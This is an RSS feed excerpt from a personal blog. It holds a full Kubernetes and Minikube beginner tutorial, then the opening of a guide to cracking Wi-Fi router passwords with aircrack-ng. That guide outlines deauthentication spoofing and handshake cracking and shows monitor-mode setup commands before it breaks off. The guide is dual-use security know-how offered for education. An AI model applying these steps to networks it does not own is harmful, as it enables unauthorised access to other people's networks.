      <pubDate>Sat, 04 Jan 2020 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/kubernetes-concepts-and-hands-on-with-minikube/?ref=rss</guid>
      <description>Learn Kubernetes concepts and get hands-on experience with Minikube</description><content:encoded><![CDATA[<blockquote><p><strong>Warning:</strong></p>I was a scrub when I first wrote this. Proceed with caution.</blockquote>

<h2 id="introduction">Introduction</h2>
<p>Kubernetes, also known as &ldquo;k8s&rdquo;, is an open-source container orchestration tool designed to automate deploying, scaling, and operating application containers. Docker containers can be used to develop and build applications, then Kubernetes can be used to run these applications. You can use other container engines with Kubernetes, but I&rsquo;ll be using Docker since it is the most popular.</p>
<p>Previous Docker experience is recommended for this post to make more sense, at the very least an understanding of container concepts.</p>
<h2 id="kubernetes-objects">Kubernetes Objects</h2>
<p>The following is Kubernetes in a nutshell:</p>
<p>At the highest level, we have <strong>Clusters</strong>. Each Cluster contains a <strong>Master Node</strong> and several <strong>Worker Nodes</strong>. Worker Nodes each have <strong>Pods</strong>, which are just a group of containers. So the order from top to bottom is:</p>
<p>Cluster -&gt; Master Node/Worker Nodes -&gt; Pods -&gt; Containers</p>
<p>Each of these objects are declared through <strong>Deployments</strong> and <strong>Services</strong> within a specified <strong>Context</strong> and <strong>Namespace</strong>. Deployments, Services, Contexts, and Namespaces can be declared through the command line or using YAML files.</p>
<p>The <code>kubectl</code> command is how we interact with Kubernetes objects.</p>
<p>Now, let&rsquo;s dive deeper into each of these objects.</p>
<h3 id="clusters">Clusters</h3>
<p>Each cluster contains a single master node and multiple worker nodes. Each node contains its own processes. The master node is responsible for managing the cluster. In a production environment, it is recommended to have at least a three-node cluster in addition to the master node.</p>
<h3 id="master-node">Master Node</h3>
<p>The master node is responsible for the overall management of the cluster. It has an API Server, a Scheduler, a Controller Manager, and a distributed key-value store called <code>etcd</code>.</p>
<ul>
<li>The API Server allows you to interact with the Kubernetes API.</li>
<li>The scheduler watches created pods who do not have a node assigned yet, and assigns the pod to run on a specific node.</li>
<li>The Controller Manager runs controllers, which are simply background threads that run tasks in the cluster.</li>
<li>The <code>etcd</code> store is used as a database for cluster data such as job scheduling information and pod details.</li>
</ul>
<p>We interact with the master node using the <code>kubectl</code> command in the terminal. <code>kubectl</code> has a configuration file called <code>kubeconfig</code> that has server information and authentication information to access the API server.</p>
<h3 id="worker-nodes">Worker Nodes</h3>
<p>These nodes are where applications operate. Worker nodes can be physical or virtual machines. They communicate back with the master node. Worker nodes can be exposed to the internet through a load balancer. There are three things running in each worker node: a process called <code>kubelet</code>, a process called <code>kube-proxy</code>, and a container engine.</p>
<ul>
<li>
<p>The <code>kubelet</code> process is responsible for pod management within the node. It&rsquo;s an agent that communicates with the API server to see if pods have been assigned to the nodes, executes pod containers via the container engine, mounts and runs pod volumes and secrets, and responds back to the master node.</p>
</li>
<li>
<p>The <code>kube-proxy</code> process is a network proxy and load balancer for the service on a single worker node. It handles network routing for TCP and UDP packets and performs connection forwarding. Any traffic coming into the node is handled by this process. This is how an end-user ends up talking to a Kubernetes application.</p>
</li>
<li>
<p>The Container Engine works together with the <code>kubelet</code> process to run containers on the node. Although in this post I&rsquo;m using Docker, you can use other container engines. Containers of an application are tightly coupled together in a Pod.</p>
</li>
</ul>
<h3 id="pods">Pods</h3>
<p>A Pod is a single instance of a running process in your cluster. It is the smallest unit you can interact with in Kubernetes. A Pod is made up of a group of containers inside a Node that share storage, Linux namespace, and IP addresses.</p>
<p>When pods are deployed and running, the <code>kubelet</code> process in the node communicates with the pods to check on state and health. The <code>kube-proxy</code> process in the node routes any packets to the pods from other resources.</p>
<p>Pods are designed to be disposable. They never self-heal and are not restarted by the scheduler itself. You should never create pods just by themselves, always use higher-level constructs to manage pods.</p>
<p>Pods have several states: pending, running, succeeded, failed, and CrashLoopBackOff</p>
<ul>
<li><code>pending</code>: A pod as been accepted by Kubernetes but a container has not been created yet.</li>
<li><code>running</code>: A pod has been scheduled on a node and all of its containers have been created, and at least one container is in a running state</li>
<li><code>succeeded</code>: All the containers in a pod have exited with a status of 0 which means success. These containers will not be restarted.</li>
<li><code>failed</code>: All containers in the pod have exited and at least one container has failed and returned a non-zero exit status.</li>
<li><code>CrashLoopBackOff</code>: A container has failed to start and Kubernetes is repeatedly trying to restart the pod.</li>
</ul>
<h3 id="contexts">Contexts</h3>
<p>A Context simply refers to a Kubernetes Cluster. Each Cluster that is created will have its own Context. Contexts tell the <code>kubectl</code> command to which Cluster to run commands against. We&rsquo;ll get some hands-on experience with Contexts in a later section.</p>
<h3 id="namespaces">Namespaces</h3>
<p>Namespaces are virtual clusters within a single physical cluster. Within a single Cluster, you can define several namespaces to logically divide resources and applications. Similar to Contexts, we use Namespaces to further specify to <code>kubectl</code> what objects we want to interact with.</p>
<h3 id="deployments">Deployments</h3>
<p>A Deployment is a representation of multiple identical pods, and how we describe a desired state in Kubernetes. After describing a desired state, Kubernetes then changes the actual state to match the state we want. We can create a Deployment directly in the command line like this:</p>
<pre tabindex="0"><code>$ kubectl create deployment mydeployment --image=nginx:1.7.9
</code></pre><p>We can also create a Deployment through a YAML file and specify more information, such as the number of pods we want using the <code>replicas</code> line:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">apps/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx-deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replicas</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">template</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">nginx</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">nginx:1.7.9</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">80</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>And then apply the YAML with the following command:</p>
<pre tabindex="0"><code>$ kubectl apply -f mydeployment.yaml
</code></pre><p>The Deployment will ensure that the number of Pods we want are running and available at all times.</p>
<h3 id="services">Services</h3>
<p>A Service is an abstract way to expose an application running on a set of pods as a network service. Kubernetes automatically assigns pods an IP address, a single DNS name for a set of pods, and can load-balance traffic across pods.</p>
<p>Deployments are used to describe a state and update Pods and applications, then Services are used to expose these Pods to make them accessible by users. You can also use Services to expose two deployments and get them to talk to each other, such as frontend and backend pods.</p>
<p>There are four types of Services in Kubernetes</p>
<ul>
<li><code>ClusterIP</code>: The default type of service. It exposes the service internally in the cluster and can only be reached from within the cluster.</li>
<li><code>NodePort</code>: This type of service exposes the service on each node&rsquo;s IP on a static port. A ClusterIP service is automatically created and the NodePort service will route to it. You can access the NodePort service from outside of the cluster by using the NodeIP:NodePort socket.</li>
<li><code>LoadBalancer</code>: This service type exposes the service externally using the load balancer of your chosen cloud provider. The external load balancer routes to NodePort and ClusterIP services which are automatically created.</li>
<li><code>ExternalName</code>: Maps the service to the contents of the <code>ExternalName</code> field. No Proxying of any kind is set up.</li>
</ul>
<p>If a Deployment named <code>mydeployment</code> has been previously created, we can create a Service using the command line as such:</p>
<pre tabindex="0"><code>$ kubectl create service nodeport mydeployment --tcp=80
</code></pre><p>Just like with Deployments, we can also specify a Service using a YAML file:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Service</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">myservice</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">rubyapp</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">department</span><span class="p">:</span><span class="w"> </span><span class="l">devs</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">type</span><span class="p">:</span><span class="w"> </span><span class="l">NodePort</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">protocol</span><span class="p">:</span><span class="w"> </span><span class="l">TCP</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">port</span><span class="p">:</span><span class="w"> </span><span class="m">80</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">targetPort</span><span class="p">:</span><span class="w"> </span><span class="m">8080</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>And apply it using</p>
<pre tabindex="0"><code>$ kubectl apply -f myservice.yaml
</code></pre><h2 id="kubernetes-hands-on-with-minikube">Kubernetes Hands-On with Minikube</h2>
<p>Minikube is a tool that will start up a single-node Kubernetes cluster on a virtual machine on our computer. It&rsquo;s great for getting comfortable with Kubernetes commands.</p>
<h3 id="installing-minikube">Installing Minikube</h3>
<p>I&rsquo;ll be showing steps to install Minikube on macOS using <code>brew</code>. If you&rsquo;re running Windows, Your best bet is to refer to the 

<a href="https://kubernetes.io/docs/tasks/tools/install-minikube/" target="_blank" rel="noopener">official Kubernetes documentation</a>.</p>
<p>You&rsquo;ll need a hypervisor to run Minikube on. I chose VirtualBox, and installing it was easy as running:</p>
<pre tabindex="0"><code>$ brew cask install virtualbox
</code></pre><p>Then we can install Minikube by running</p>
<pre tabindex="0"><code>$ brew install minikube
</code></pre><p>After installation is complete, start up minikube</p>
<pre tabindex="0"><code>$ minikube start
</code></pre><p>This command will download the Minikube .iso and run it using Virtualbox.</p>
<p>We can double check that everything is working by running the following:</p>
<pre tabindex="0"><code>$ minikube status

host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
</code></pre><p>We can also run Kubernetes commands to verify that we have a Node running:</p>
<pre tabindex="0"><code>$ kubectl get nodes

NAME       STATUS   ROLES    AGE   VERSION
minikube   Ready    master   42s   v1.17.0
</code></pre><p>And we have confirmation that a single Node is up and running!</p>
<h3 id="deploying-an-image-through-the-command-line">Deploying An Image Through The Command Line</h3>
<p>Now that Minikube is set up and we have a Cluster running, let&rsquo;s recap some of the concepts we covered above. Recall Contexts and Namespaces.</p>
<p>By default, Minikube created a Cluster with a Context called &lsquo;minikube&rsquo;. We can see this by running:</p>
<pre tabindex="0"><code>$ kubectl config get-contexts

CURRENT   NAME       CLUSTER    AUTHINFO   NAMESPACE
*         minikube   minikube   minikube
</code></pre><p>Minikube also created a default Namespace simply called &lsquo;default&rsquo;. View it by running:</p>
<pre tabindex="0"><code>$ kubectl get namespaces

NAME                   STATUS   AGE
default                Active   1m
kube-node-lease        Active   1m
kube-public            Active   1m
kube-system            Active   1m
kubernetes-dashboard   Active   1m
</code></pre><p>There are additional Namespaces here used by core Kubernetes services, but we don&rsquo;t have to worry about those.</p>
<p>All of our <code>kubectl</code> commands right now will run against the &lsquo;default&rsquo; Namespace within the &lsquo;minikube&rsquo; Context. If in the future you have a Cluster running, say, on Amazon Web Services, you can switch to that Context/Namespace and run commands against that Cluster.</p>
<p>Now, let&rsquo;s deploy a simple container that displays &ldquo;Hello World&rdquo; on a browser.</p>
<p>First, create a deployment specifying the image to use:</p>
<pre tabindex="0"><code>$ kubectl create deployment helloworld --image=karthequian/helloworld
</code></pre><p>Then, create a service to expose the deployment:</p>
<pre tabindex="0"><code>$ kubectl create service nodeport helloworld --tcp=80
</code></pre><p>Now we can access the service through Minikube with the following command:</p>
<pre tabindex="0"><code>$ minikube service helloworld
</code></pre><p>You should get similar output to this:</p>
<pre tabindex="0"><code>|-----------|------------|-------------|-----------------------------|
| NAMESPACE |    NAME    | TARGET PORT |             URL             |
|-----------|------------|-------------|-----------------------------|
| default   | helloworld |          80 | http://192.168.99.104:31003 |
|-----------|------------|-------------|-----------------------------|
🎉  Opening service default/helloworld in default browser...
</code></pre><p>And your browser should automatically open the IP/port in a new window. You should see a simple Bootstrap page that says &ldquo;Hello&rdquo;. We have successfully run a container with Kubernetes and accessed the application!</p>
<p>Now let&rsquo;s recap some more concepts. Recall Deployments, Services, Nodes, and Pods.</p>
<p>We can view the deployments and services we created with the following commands:</p>
<pre tabindex="0"><code>$ kubectl get deployments

NAME         READY   UP-TO-DATE   AVAILABLE   AGE
helloworld   1/1     1            1           6m39s
</code></pre><pre tabindex="0"><code>$ kubectl get services

NAME         TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)        AGE
helloworld   NodePort    10.96.77.40   &lt;none&gt;        80:31003/TCP   6m17s
kubernetes   ClusterIP   10.96.0.1     &lt;none&gt;        443/TCP        12m
</code></pre><p>There&rsquo;s a default &lsquo;kubernetes&rsquo; service that we can ignore. The one we created is &lsquo;helloworld&rsquo;. The Deployment we created specified the state we want our Cluster to be in, while the Service we created exposed the Pod created by the Deployment.</p>
<p>We can also view the single Node in our Cluster:</p>
<pre tabindex="0"><code>$ kubectl get nodes

NAME       STATUS   ROLES    AGE   VERSION
minikube   Ready    master   10m   v1.17.0
</code></pre><p>And we can view the Pod that was created by the Deployment:</p>
<pre tabindex="0"><code>$ kubectl get pods

NAME                          READY   STATUS    RESTARTS   AGE
helloworld-7f9bdc6489-tdpd6   1/1     Running   0          2m9s
</code></pre><p>And finally, we can view everything running on Minikube through the dashboard:</p>
<pre tabindex="0"><code>$ minikube dashboard
</code></pre><p>You&rsquo;ll notice that there are a lot more Kubernetes Objects and features in the dashboard that I have not covered. Those are beyond the scope of this post and for more advanced purposes. However, feel free to read up on those once you have a solid grasp of the concepts covered in this post.</p>
<p>While it&rsquo;s nice looking at a dashboard, I highly recommend getting comfortable with the <code>kubectl</code> command to view and manage Kubernetes resources.</p>
<h3 id="deploying-using-yaml-manifests">Deploying Using YAML Manifests</h3>
<p>In an earlier section, I briefly mentioned that you can specify Kubernetes objects using YAML files. We&rsquo;re going to deploy a Ruby on Rails application on Minikube using YAML files. (<em>Note: The application was created by me for learning purposes, but we could be using any other image for this</em>)</p>
<p>Using YAML files are useful because they allow you to version control your Kubernetes resources and modify them in a single file. Whenever changes are made to a YAML file, we simply need to run <code>kubectl apply</code> as you&rsquo;ll see soon. This process can even be automated in a CI service.</p>
<p>First, let&rsquo;s start a fresh Minikube instance. Go ahead and delete the current Minikube VM and start another one:</p>
<pre tabindex="0"><code>$ minikube delete

$ minikube start
</code></pre><p>Next, copy these two YAML files locally in your system:</p>
<p><strong>deployment.yaml</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">apps/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">forum-deployment</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replicas</span><span class="p">:</span><span class="w"> </span><span class="m">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">forum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">template</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">forum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">containers</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">forum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">nfigueroa/forum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span>- <span class="nt">containerPort</span><span class="p">:</span><span class="w"> </span><span class="m">3000</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p><strong>service.yaml</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Service</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">forum-service</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">spec</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">type</span><span class="p">:</span><span class="w"> </span><span class="l">NodePort</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">selector</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l">forum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span>- <span class="nt">nodePort</span><span class="p">:</span><span class="w"> </span><span class="m">30000</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">port</span><span class="p">:</span><span class="w"> </span><span class="m">3000</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>Take some time to read through the files to get some idea of what&rsquo;s going on. Kubernetes YAML files can be used for deep configuration, too much to cover in a single post. I recommend reading through documentation to better understand what&rsquo;s possible in a YAML file.</p>
<p>For now, understand that the Deployment is specifying an image to pull (<code>nfigueroa/forum</code>), a port to expose on the container (<code>containerPort</code>), and the number of pods we want (<code>replicas</code>).</p>
<p>The Service is specifying that we want to expose a Node port (<code>nodePort</code>) on port 30000, and this Node port will point to port 3000 in the pod.</p>
<p>Let&rsquo;s apply the Deployment YAML:</p>
<pre tabindex="0"><code>$ kubectl apply -f deployment.yaml

deployment.apps/forum-deployment created
</code></pre><p>Once the Deployment has been created, we can view it:</p>
<pre tabindex="0"><code>$ kubectl get deployments

NAME               READY   UP-TO-DATE   AVAILABLE   AGE
forum-deployment   0/3     3            0           5s
</code></pre><p>And we can see the Pods starting up:</p>
<pre tabindex="0"><code>$ kubectl get pods

NAME                              READY   STATUS              RESTARTS   AGE
forum-deployment-8d5dd5b9-289m7   0/1     ContainerCreating   0          35s
forum-deployment-8d5dd5b9-7qq52   0/1     ContainerCreating   0          35s
forum-deployment-8d5dd5b9-xllg4   0/1     ContainerCreating   0          35s
</code></pre><p>Next, let&rsquo;s apply the Service YAML:</p>
<pre tabindex="0"><code>$ kubectl apply -f service.yaml

service/forum-service created
</code></pre><p>We can view the Service:</p>
<pre tabindex="0"><code>$ kubectl get services

NAME            TYPE        CLUSTER-IP    EXTERNAL-IP   PORT(S)          AGE
forum-service   NodePort    10.96.94.69   &lt;none&gt;        3000:30000/TCP   4s
kubernetes      ClusterIP   10.96.0.1     &lt;none&gt;        443/TCP          3m14s
</code></pre><p>Now we can view our application with the same command we used before:</p>
<pre tabindex="0"><code>minikube service forum-service
</code></pre><p>And your browser should automatically take you to the landing page. If for any reason the landing page is blank, double check that the pods are running. It might take a while to initialize the application.</p>
<p>YAML files can be created for other Kubernetes Objects as well, like Pods and Namespaces. While it is okay to create a YAML for an individual Namespace, it is not recommended to create individual Pods this way unless it is for testing purposes or a very specific situation. Always use higher level abstractions to create pods, like Deployments.</p>
<p>Feel free to try the YAML files with your own Docker images, just make sure you change the ports to the ones your application needs.</p>
<p>Refer to the Kubernetes documentation and see what other Objects and configurations can be declared using YAML files. There is too much to cover in this post.</p>
<h3 id="cleaning-up">Cleaning Up</h3>
<p>After you&rsquo;re done playing with Minikube you can shut it down so it doesn&rsquo;t use up resources:</p>
<pre tabindex="0"><code>$ minikube stop
</code></pre><p>If you want to completely remove the Minikube virtual machine, run:</p>
<pre tabindex="0"><code>$ minikube delete
</code></pre><h2 id="conclusion">Conclusion</h2>
<p>In this post, I covered the essential Kubernetes concepts. Then, we ran Kubernetes locally using Minikube and manually deployed a Docker image. After that, we deployed an application using YAML files.</p>
<p>There&rsquo;s a lot more functionality that I did not cover, but this is enough to get started. Kubernetes is a complex piece of software and has a tough learning curve, but it is very rewarding. From this point forward, read the Kubernetes documentation and get a deeper understanding.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Wifi Hacking with aircrack-ng</title>
      <link>https://nelson.cloud/wifi-hacking-with-aircrack-ng/?ref=rss</link>
      <pubDate>Thu, 26 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/wifi-hacking-with-aircrack-ng/?ref=rss</guid>
      <description>A guide to using aircrack-ng to bruteforce a router&amp;rsquo;s password</description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<blockquote><p><strong>Note:</strong></p>This post is an organized re-write of notes I took in 2017. As such, this guide may now be outdated.</blockquote>

<blockquote><p><strong>Disclaimer:</strong></p>This is purely for educational purposes. Do not try to break into access points that do not belong to you.</blockquote>

<p>I used 

<a href="https://www.kali.org/" target="_blank" rel="noopener">Kali Linux</a> for the entire process, but the process should be very similar for any Linux distribution. <code>aircrack-ng</code> is already included on Kali Linux but you can install it on any Linux OS.</p>
<h2 id="what-is-aircrack-ng">What is aircrack-ng?</h2>
<p><code>aircrack-ng</code> is a complete suite of tools to assess WiFi network security. It can be used to scan wifi signals and to perform denial-of-service (DOS) attacks among other things. Read more about it on the 

<a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener">official aircrack-ng website</a>.</p>
<p>The goal in this post is to use the tools included in <code>aircrack-ng</code> to:</p>
<ol>
<li>Scan for nearby routers</li>
<li>Send spoofed deauthentication packets on behalf of a connected client</li>
<li>Capture the 4-way handshake hash</li>
<li>Crack the hash, which reveals the password of the router in plaintext</li>
</ol>
<h2 id="hardware-requirements">Hardware requirements</h2>
<p>To use <code>aircrack-ng</code> you&rsquo;ll need a wireless network adapter that has monitor mode and packet injection capabilities. Feel free to do some research about your particular card and its compatibility. There&rsquo;s a good guide on 

<a href="https://www.aircrack-ng.org/doku.php?id=compatible_cards" target="_blank" rel="noopener">the aircrack-ng site</a> that can help you with research. You can also do what I did and buy a cheap USB wireless adapter with these capabilities. I have the 

<a href="https://www.amazon.com/Panda-2-4GHz-300Mbps-Wireless-Adapter/dp/B00U2SIS0O/" target="_blank" rel="noopener">Panda Wireless N600</a> and it works perfectly fine on my Macbook Pro.</p>
<h2 id="installation">Installation</h2>
<p>If you&rsquo;re not on Kali Linux, <code>aircrack-ng</code> is most likely available through your preferred package manager. For Windows users, refer to the 

<a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener">official aircrack-ng site</a> to download the suite. On MacOS using 

<a href="https://brew.sh/" target="_blank" rel="noopener">Homebrew</a> you can run <code>brew install aircrack-ng</code></p>
<h2 id="setting-up-monitor-mode">Setting up monitor mode</h2>
<p>We&rsquo;ll need to set up monitor mode in our wireless network adapter. Monitor mode allows the wireless network interface to capture all wireless traffic. This means we&rsquo;ll be able to see nearby wireless access points and devices connected to each one.</p>
<p>To set the network adapter to monitor mode, first find the name of the interface as your system detects it. You can see this using <code>ifconfig</code>. In my case, the interface name of my USB wireless adapter is <code>wlan0</code>. I can set it to monitor mode using the following commands:</p>
<pre tabindex="0"><code>$ ifconfig wlan0 down

$ iwconfig wlan0 mode monitor

$ ifconfig wlan0 up
</code></pre><p>Now, we need to check that no processes interfere with the <code>airmon-ng</code> tool, which is part of the <code>aircrack-ng</code> suite. To do this, run:</p>
<pre tabindex="0"><code>$ airmon-ng check wlan0
</code></pre><p>You&rsquo;ll get an output similar to the following:</p>
<pre tabindex="0"><code>Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run &#39;airmon-ng check kill&#39;

 PID Name
 1229 NetworkManager
 1329 wpa_supplicant
